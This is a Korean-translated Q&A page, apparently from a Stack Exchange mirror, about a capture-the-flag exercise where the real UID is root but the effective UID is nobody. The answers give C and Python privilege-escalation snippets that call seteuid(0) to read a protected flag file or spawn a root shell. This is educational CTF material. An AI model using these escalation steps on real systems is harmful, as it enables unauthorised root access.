![UID는 루트이지만 whoami는 아무도 없다고 말합니다.](https://rvso.com/image/1618348/UID%EB%8A%94%20%EB%A3%A8%ED%8A%B8%EC%9D%B4%EC%A7%80%EB%A7%8C%20whoami%EB%8A%94%20%EC%95%84%EB%AC%B4%EB%8F%84%20%EC%97%86%EB%8B%A4%EA%B3%A0%20%EB%A7%90%ED%95%A9%EB%8B%88%EB%8B%A4..png)
파일을 읽기 위해 어떤 형태로든 권한 상승을 구현해야 하는 깃발 캡처 콘테스트에 참여하고 있습니다 flag.txt
. 실행하면 whoami
다음과 같은 결과가 나오는 것을 확인했습니다.
myHostHere:/$ whoami
nobody
하지만 실행하면 id
UID가 다음과 같이 설정됩니다 root
.
myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)
이것은 내가 루트 사용자 등의 역할을 할 수 있다는 것을 의미합니까, 아니면 출력을 잘못 해석하고 있습니까?
편집하다:
의 출력은 ls -l flag.txt
다음과 같습니다:
-r--r----- 1 root root 34 Feb 10 12:00 flag.txt
답변1
--static
이 문제는 별도의 컴퓨터에서 C 프로그램을 작성하고 컴파일(을 사용하여)하면 해결될 수 있습니다 .
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
seteuid(0);
setgid(0);
system("cat flag.txt");
}
chmod +x
이 파일은 로 실행 하고 폴더에서 실행할 수 있는 권한이 부여된 CTF 시스템으로 복사될 수 있습니다 tmp
.
답변2
나는 당신과 매우 유사한 설정을 만들었습니다. 디버거를 사용하여 수행했습니다(예:여기그리고거기). 영향을 받은 쉘에는 다음이 있습니다.
$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$
그런 다음에 따르면이 답변:
파일 액세스 및 루트 권한이 필요한 작업은 유효한 UID 및 GID를 확인하세요.
실제로 이런 일이 발생합니다.
$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$
하지만 나는 이렇게 할 수 있다:
$ sudo cat flag.txt
foo
아니면 이거:
$ su -
# whoami
root
# cat flag.txt
foo
아니면 이거:
$ sg root 'cat flag.txt'
foo
가 있으면 시스템 호출을 사용하고 파일을 읽을 uid=0
수 있는 모든 것이 도움이 될 수 있습니다. seteuid
예 python
:
import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()
파일을 읽는 대신(또는 별도로) 상승된 쉘을 생성할 수 있습니다.
import os
os.seteuid(0)
os.execve("/bin/sh", [], {})
이 쉘에서 당신은 root
; cat flag.txt
작동합니다.
테스트베드: Debian GNU/Linux 9.